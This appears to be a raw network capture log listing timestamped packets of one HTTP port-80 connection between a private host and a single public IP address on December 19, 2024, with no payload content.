Dec 19, 2024 08:00:58.942241907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.942339897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.942385912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.943532944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.943670034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.943713903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.945080042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.945163012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.945202112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.945780993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.945832014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.945869923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.946413040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.946476936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.946512938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.947107077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.947156906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.947195053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.947798967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.947855949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.947896957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.948623896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.948765993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.948807955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.949171066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.949284077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.949322939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.949927092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.950042009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.950079918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.950787067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.950907946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.950947046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.951683044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.951750040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.951790094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.952543020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.952619076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.952658892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.953361034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.953450918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.953489065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.954241037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.954363108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.954411030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.955075979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.955208063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.955245972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.955950022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.956036091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.956075907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.956804037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.956934929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.956975937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.957650900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.957828045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.957865000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.958487988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.958601952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.958667040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.959353924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.959454060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:58.959492922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:58.960218906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.013808966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.053430080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.053473949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.053587914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.053719997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.053809881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.053850889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.054431915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.054486990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.054524899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.054997921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.055025101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.055068016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.055558920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.055594921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.055635929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.056021929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.056092978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.056132078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.056724072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.056759119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.056797981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.113820076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.113845110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.114002943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.114147902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.114221096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.114269972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.114948988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.115261078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.115302086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.115358114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.116159916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.116203070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.116226912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.117028952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.117075920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.117158890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.117873907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.117927074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.117969990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.118798018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.118835926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.118910074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.119719028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.119756937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.119757891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.120403051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.120444059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.120501995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.121269941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.121313095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.121387959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.122133017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.122174025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.122209072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.123019934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.123064995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.123075008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.123861074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.123910904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.123931885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.124712944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.124768019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.124789953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.125535011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.125580072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.125611067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.126410007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.126462936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.126501083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.127254963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.127307892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.127368927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.128129959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.128177881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.128221035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.129009962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.129048109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.129064083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.129867077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.129921913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.129981041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.170109987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.466422081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.586973906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.587126970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.587169886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.587640047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.587652922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.587685108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.588310003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.588457108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.588491917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.589243889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.589549065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.589586973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.590164900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.590321064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.590362072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.590892076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.591048956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.591087103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.591923952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.592070103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.592159033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.592689991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.592837095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.592873096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.593575001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.593734026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.593767881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.594336987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.594499111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.594542980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.595267057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.595412970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.595449924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.596178055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.596354008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.596390009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.596987963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.597132921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.597165108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.597914934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.598078012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.598119974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.598856926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.598869085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.598911047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.599214077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.599225998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.599256039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.600342035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.600501060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.600533009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.601294041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.601444006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.601479053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.602190018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.602346897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.602385044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.602957010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.603121996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.603154898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.603902102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.604054928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.604090929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.604538918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.604557991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.604598999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.604751110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.604876041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.604908943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.605252981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.605412006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.605446100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.606133938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.606287956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.606324911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.606988907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.607366085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.607405901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.607897997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.607954979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.607989073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.608757973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.608778000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.608814955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.609541893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.609646082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.609704018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.610506058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.610641003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.610685110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.611376047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.611552954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.611593008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.612344980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.612401009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.612437963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.613064051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.613157988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.613200903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.613852024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.613989115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.614032030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.614917040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.615838051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.615917921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.618407011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.618558884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.618577957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.618592024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.618599892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.618604898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.618618011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.618627071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.618654966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.619286060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.619432926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.619461060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.620214939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.620227098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.620269060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.621098042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.621260881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.621304989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.622076988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.622230053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.622267008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.622657061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.622797966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.622828960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.623533964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.623867035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.623898029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.624327898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.624475002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.624511957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.625262976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.625411987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.625448942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.626208067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.626219988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.626250982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.626913071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.627070904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.627106905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.627831936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.627978086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.628014088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.628607988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.628763914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.628792048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.629565001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.629710913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.629748106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.630489111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.630501032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.630542994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.631279945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.631408930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.631447077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.632164001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.632302046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.632343054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.632880926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.633172989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.633202076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.633805037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.633949041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.633985043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.634692907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.634845972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.634877920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.635610104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.635761976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.635792017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.636416912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.636570930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.636615992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.637186050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.637346029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.637377024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.638129950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.638268948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.638329983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.639019966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.639168024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.639209032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.639780998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.639916897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.639954090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.640741110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.640753984 CET	80	49739	194.87.47.113	192.168.2.9
